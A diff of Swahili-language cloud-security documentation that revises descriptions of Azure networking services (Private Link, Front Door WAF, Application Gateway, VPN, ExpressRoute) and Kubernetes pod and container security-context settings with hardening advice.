- Inaruhusu muunganisho salama kwa huduma za Azure au huduma zako binafsi zinazohifadhiwa katika Azure, pamoja na muunganisho kwa huduma zinazoshirikiwa na wengine.
|
||||
- Inatoa udhibiti wa ufikiaji wa kina kupitia endpoint ya kibinafsi katika VNet yako, tofauti na udhibiti mpana wa ufikiaji katika kiwango cha subnet na service endpoints.
|
||||
|
||||
Kwa muhtasari, ingawa Service Endpoints na Private Links zote zinatoa muunganisho salama kwa huduma za Azure, **Private Links hutoa kiwango cha juu cha kutengwa na usalama kwa kuhakikisha kwamba huduma zinapatikana kwa siri bila kuzifichua kwa intaneti ya umma**. Service Endpoints, kwa upande mwingine, ni rahisi kuanzisha kwa kesi za jumla ambapo ufikiaji rahisi na salama kwa huduma za Azure unahitajika bila haja ya IP ya kibinafsi katika VNet.
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** ni kipengele cha kuingia kinachoweza kupanuka na salama kwa **usambazaji wa haraka** wa programu zako za wavuti za kimataifa. In **changanya** huduma mbalimbali kama **usambazaji wa mzigo wa kimataifa, kuharakisha tovuti, SSL offloading, na uwezo wa Web Application Firewall (WAF)** katika huduma moja. Azure Front Door inatoa usafirishaji wa akili kulingana na **mahali pa karibu zaidi na mtumiaji**, kuhakikisha utendaji bora na uaminifu. Zaidi ya hayo, inatoa usafirishaji wa URL, mwenyeji wa tovuti nyingi, upendeleo wa kikao, na usalama wa safu ya programu.
|
||||
**Azure Front Door** ni kipengele kinachoweza kupanuka na salama kwa **usambazaji wa haraka** wa programu zako za wavuti za kimataifa. In **changanya** huduma mbalimbali kama **usambazaji wa mzigo wa kimataifa, kuharakisha tovuti, SSL offloading, na uwezo wa Web Application Firewall (WAF)** katika huduma moja. Azure Front Door inatoa usafirishaji wa akili kulingana na **mahali pa karibu zaidi na mtumiaji**, kuhakikisha utendaji bora na uaminifu. Zaidi ya hayo, inatoa usafirishaji wa URL, mwenyeji wa tovuti nyingi, upendeleo wa kikao, na usalama wa safu ya programu.
|
||||
|
||||
**Azure Front Door WAF** imeundwa ili **kulinda programu za wavuti kutokana na mashambulizi ya mtandaoni** bila kubadilisha msimbo wa nyuma. Inajumuisha sheria za kawaida na seti za sheria zinazodhibitiwa ili kulinda dhidi ya vitisho kama vile SQL injection, cross-site scripting, na mashambulizi mengine ya kawaida.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Fikiria una programu iliyosambazwa kimataifa yenye watumiaji kote ulimwenguni. Unaweza kutumia Azure Front Door ili **kupeleka maombi ya watumiaji kwa kituo cha data cha kikanda kilicho karibu zaidi** kinachohifadhi programu yako, hivyo kupunguza ucheleweshaji, kuboresha uzoefu wa mtumiaji na **kuilinda kutokana na mashambulizi ya mtandaoni kwa uwezo wa WAF**. Ikiwa eneo fulani linakabiliwa na kukosekana kwa huduma, Azure Front Door inaweza kuhamasisha trafiki kiotomatiki kwa eneo linalofuata bora, kuhakikisha upatikanaji wa juu.
|
||||
Fikiria una programu iliyosambazwa kimataifa yenye watumiaji kote ulimwenguni. Unaweza kutumia Azure Front Door ili **kupeleka maombi ya watumiaji kwa kituo cha data cha kikanda kilicho karibu zaidi** kinachohifadhi programu yako, hivyo kupunguza ucheleweshaji, kuboresha uzoefu wa mtumiaji na **kuilinda kutokana na mashambulizi ya mtandaoni kwa uwezo wa WAF**. Ikiwa eneo fulani linakabiliwa na kukatika, Azure Front Door inaweza moja kwa moja kuhamasisha trafiki kwa eneo linalofuata bora, kuhakikisha upatikanaji wa juu.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -295,14 +296,14 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
|
||||
|
||||
## Azure Application Gateway na Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway ni **mwanzo wa usawa wa mzigo wa trafiki ya wavuti** inayokuwezesha kudhibiti trafiki kwa **maombi** yako ya wavuti. Inatoa **usawa wa mzigo wa Layer 7, kumaliza SSL, na uwezo wa firewall ya maombi ya wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na upitishaji wa URL, uhusiano wa kikao kulingana na kuki, na kupunguza safu salama (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa usawa wa mzigo kama vile upitishaji wa kimataifa na upitishaji kulingana na njia.
|
||||
Azure Application Gateway ni **balancer wa mzigo wa trafiki wa wavuti** unaokuwezesha kudhibiti trafiki kwa **maombi** yako ya wavuti. Inatoa **balancing ya mzigo wa Layer 7, kumaliza SSL, na uwezo wa firewall ya maombi ya wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na upitishaji wa URL, uhusiano wa kikao kulingana na kuki, na kuondoa safu salama za soketi (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa balancing wa mzigo kama vile upitishaji wa kimataifa na upitishaji kulingana na njia.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo ina subdomains nyingi kwa kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma ya usindikaji wa malipo.\
|
||||
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo ina subdomains nyingi kwa kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma za usindikaji wa malipo.\
|
||||
Na **kulinda tovuti yako kutokana na mashambulizi kwa kutumia uwezo wa WAF.**
|
||||
|
||||
### **Uhesabuji**
|
||||
### **Uhesabu**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -363,7 +364,7 @@ Get-AzFirewall
|
||||
|
||||
## VPN ya Tovuti hadi Tovuti
|
||||
|
||||
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia trafiki** kati ya mitandao hiyo miwili.
|
||||
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wako wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia trafiki** kati ya mitandao hiyo miwili.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
@@ -398,7 +399,7 @@ Azure ExpressRoute ni huduma inayotoa **kiunganishi cha kibinafsi, maalum, cha k
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute ili kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
|
||||
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
|
||||
+23
-22
@@ -8,53 +8,54 @@
|
||||
|
||||
Unapofafanua muktadha wa usalama wa Pod unaweza kutumia sifa kadhaa. Kutoka kwa mtazamo wa usalama wa kujilinda unapaswa kuzingatia:
|
||||
|
||||
- Kuwa na **runASNonRoot** kama **Kweli**
|
||||
- Kuwa na **runASNonRoot** kama **True**
|
||||
- Kuunda **runAsUser**
|
||||
- Ikiwezekana, zingatia **kudhibiti** **idhini** ukionyesha **seLinuxOptions** na **seccompProfile**
|
||||
- Usitoe **kikundi** cha **privilege** kupitia **runAsGroup** na **supplementaryGroups**
|
||||
- Ikiwezekana, zingatia **kudhibiti** **permissions** ukionyesha **seLinuxOptions** na **seccompProfile**
|
||||
- Usitoe **privilege** **group** ufikiaji kupitia **runAsGroup** na **supplementaryGroups**
|
||||
|
||||
| Parameter | Maelezo |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Kikundi maalum cha nyongeza kinachotumika kwa <strong>mashine zote ndani ya pod</strong>. Aina fulani za volumu zinamruhusu Kubelet kubadilisha <strong>umiliki wa volumu hiyo</strong> kuwa umiliki wa pod:<br>1. GID inayomiliki itakuwa FSGroup<br>2. Bit ya setgid imewekwa (faili mpya zinazoundwa katika volumu zitakuwa na umiliki wa FSGroup)<br>3. Bit za ruhusa zimeunganishwa na rw-rw---- Ikiwa haijapangwa, Kubelet haitabadilisha umiliki na ruhusa za volumu yoyote</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Kikundi maalum cha nyongeza kinachotumika kwa <strong>mashine zote ndani ya pod</strong>. Aina fulani za volumu zinamruhusu Kubelet kubadilisha <strong>umiliki wa volumu hiyo</strong> kuwa umiliki wa pod:<br>1. GID inayomiliki itakuwa FSGroup<br>2. Bit ya setgid imewekwa (faili mpya zinazoundwa kwenye volumu zitakuwa na umiliki wa FSGroup)<br>3. Bit za ruhusa zimeunganishwa na rw-rw---- Ikiwa hazijapangwa, Kubelet haitabadilisha umiliki na ruhusa za volumu yoyote</p> |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Hii inafafanua tabia ya **kubadilisha umiliki na ruhusa za volumu** kabla ya kuonyeshwa ndani ya Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio cha mchakato wa kontena**. Inatumia chaguo la kawaida la wakati wa kuendesha ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Inaonyesha kwamba kontena lazima ikimbie kama mtumiaji asiye mzizi. Ikiwa ni kweli, Kubelet itathibitisha picha wakati wa kuendesha ili kuhakikisha kwamba haikimbii kama UID 0 (mzizi) na itashindwa kuanzisha kontena ikiwa inafanya hivyo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio cha mchakato wa kontena**. Inatumia chaguo la kawaida la wakati wa kukimbia ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Inaonyesha kwamba kontena lazima ikimbie kama mtumiaji asiye mzizi. Ikiwa ni kweli, Kubelet itathibitisha picha wakati wa kukimbia ili kuhakikisha kwamba haikimbii kama UID 0 (mzizi) na itashindwa kuanzisha kontena ikiwa inafanya hivyo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID ya kuendesha kiingilio cha mchakato wa kontena**. Inarudi kwa mtumiaji aliyeainishwa katika metadata ya picha ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>seLinux</strong></em></p> | **Muktadha wa SELinux utakaotumika kwa kontena zote**. Ikiwa haijapangwa, wakati wa kuendesha kontena itagawanywa muktadha wa SELinux wa nasibu kwa kila kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>seLinux</strong></em></p> | **Muktadha wa SELinux utakaotumika kwa kontena zote**. Ikiwa haijapangwa, wakati wa kukimbia wa kontena utagawanya muktadha wa SELinux wa nasibu kwa kila kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>Seccomp</strong></em></p> | **Chaguzi za seccomp zinazotumika na kontena** katika pod hii. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Orodha ya **makundi yanayotumika kwa mchakato wa kwanza unaokimbia katika kila kontena**, pamoja na GID ya msingi ya kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Maelezo zaidi kuhusu</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls ina orodha ya **sysctls zilizowekwa kwa pod**. Pods zenye sysctls zisizoungwa mkono (na wakati wa kuendesha kontena) zinaweza kushindwa kuanzishwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Maelezo zaidi kuhusu</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls ina orodha ya **sysctls zilizowekwa kwa pod**. Pods zenye sysctls zisizoungwa mkono (na wakati wa kukimbia) zinaweza kushindwa kuanzishwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Mipangilio maalum ya Windows inayotumika kwa kontena zote. Ikiwa haijapangwa, chaguzi ndani ya SecurityContext ya kontena zitatumika. |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**Kutoka kwenye hati:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
Muktadha huu umewekwa ndani ya **mwelekeo wa kontena**. Kutoka kwa mtazamo wa usalama wa kujilinda unapaswa kuzingatia:
|
||||
Muktadha huu umewekwa ndani ya **m definitions za kontena**. Kutoka kwa mtazamo wa usalama wa kujilinda unapaswa kuzingatia:
|
||||
|
||||
- **allowPrivilegeEscalation** kuwa **False**
|
||||
- Usiongeze **uwezo** wa nyeti (na uondoe wale usihitaji)
|
||||
- Usiongeze **capabilities** nyeti (na uondoe zile usizohitaji)
|
||||
- **privileged** kuwa **False**
|
||||
- Ikiwezekana, weka **readOnlyFilesystem** kama **Kweli**
|
||||
- Weka **runAsNonRoot** kuwa **Kweli** na weka **runAsUser**
|
||||
- Ikiwezekana, zingatia **kudhibiti** **idhini** ukionyesha **seLinuxOptions** na **seccompProfile**
|
||||
- Usitoe **kikundi** cha **privilege** kupitia **runAsGroup.**
|
||||
- Ikiwezekana, weka **readOnlyFilesystem** kama **True**
|
||||
- Weka **runAsNonRoot** kuwa **True** na weka **runAsUser**
|
||||
- Ikiwezekana, zingatia **kudhibiti** **permissions** ukionyesha **seLinuxOptions** na **seccompProfile**
|
||||
- Usitoe **privilege** **group** ufikiaji kupitia **runAsGroup.**
|
||||
|
||||
Kumbuka kwamba sifa zilizowekwa katika **SecurityContext na PodSecurityContext**, thamani iliyowekwa katika **SecurityContext** inachukua **kipaumbele**.
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** inasimamia ikiwa mchakato unaweza **kupata ruhusa zaidi** kuliko mchakato wa mzazi. Hii bool inasimamia moja kwa moja ikiwa bendera ya no_new_privs itawekwa kwenye mchakato wa kontena. AllowPrivilegeEscalation ni kweli kila wakati wakati kontena inakimbia kama **Privileged** au ina **CAP_SYS_ADMIN** |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>Capabilities</strong></em></p> | **Uwezo wa kuongeza/kutoa unapokimbia kontena**. Inarudi kwa seti ya kawaida ya uwezo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Kimbia kontena katika hali ya privileji. Mchakato katika kontena zilizo na privileji ni kimsingi **sawa na mzizi kwenye mwenyeji**. Inarudi kwa uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount inaashiria **aina ya proc mount inayotumika kwa kontena**. Chaguo la kawaida ni DefaultProcMount ambayo inatumia chaguo za wakati wa kuendesha kwa njia za kusoma tu na njia zilizofichwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Ikiwa **kontena hii ina mfumo wa faili wa mzizi wa kusoma tu**. Chaguo la kawaida ni uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio** cha mchakato wa kontena. Inatumia chaguo la kawaida la wakati wa kuendesha ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Inaonyesha kwamba kontena lazima **ikimbie kama mtumiaji asiye mzizi**. Ikiwa ni kweli, Kubelet itathibitisha picha wakati wa kuendesha ili kuhakikisha kwamba haikimbii kama UID 0 (mzizi) na itashindwa kuanzisha kontena ikiwa inafanya hivyo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Kimbia kontena katika hali ya kupendelea. Mchakato katika kontena zilizo na nguvu ni kimsingi **sawa na mzizi kwenye mwenyeji**. Inarudi kwa uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount inaonyesha **aina ya proc mount inayotumika kwa kontena**. Chaguo la kawaida ni DefaultProcMount ambayo inatumia chaguo za wakati wa kukimbia kwa njia zisizoweza kuandikwa na njia zilizofichwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Ikiwa **kontena hii ina mfumo wa faili wa mzizi usio na kuandikwa**. Chaguo la kawaida ni uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio** cha mchakato wa kontena. Inatumia chaguo la kawaida la wakati wa kukimbia ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Inaonyesha kwamba kontena lazima **ikimbie kama mtumiaji asiye mzizi**. Ikiwa ni kweli, Kubelet itathibitisha picha wakati wa kukimbia ili kuhakikisha kwamba haikimbii kama UID 0 (mzizi) na itashindwa kuanzisha kontena ikiwa inafanya hivyo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID ya kuendesha kiingilio** cha mchakato wa kontena. Inarudi kwa mtumiaji aliyeainishwa katika metadata ya picha ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>seLinux</strong></em></p> | **Muktadha wa SELinux utakaotumika kwa kontena**. Ikiwa haijapangwa, wakati wa kuendesha kontena itagawanywa muktadha wa SELinux wa nasibu kwa kila kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>seLinux</strong></em></p> | **Muktadha wa SELinux utakaotumika kwa kontena**. Ikiwa haijapangwa, wakati wa kukimbia wa kontena utagawanya muktadha wa SELinux wa nasibu kwa kila kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | **Chaguzi za seccomp** zinazotumika na kontena hii. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | **Mipangilio maalum ya Windows** inayotumika kwa kontena zote. |
|
||||
|
||||
## References
|
||||
## Marejeleo
|
||||
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
Reference in New Issue
Block a user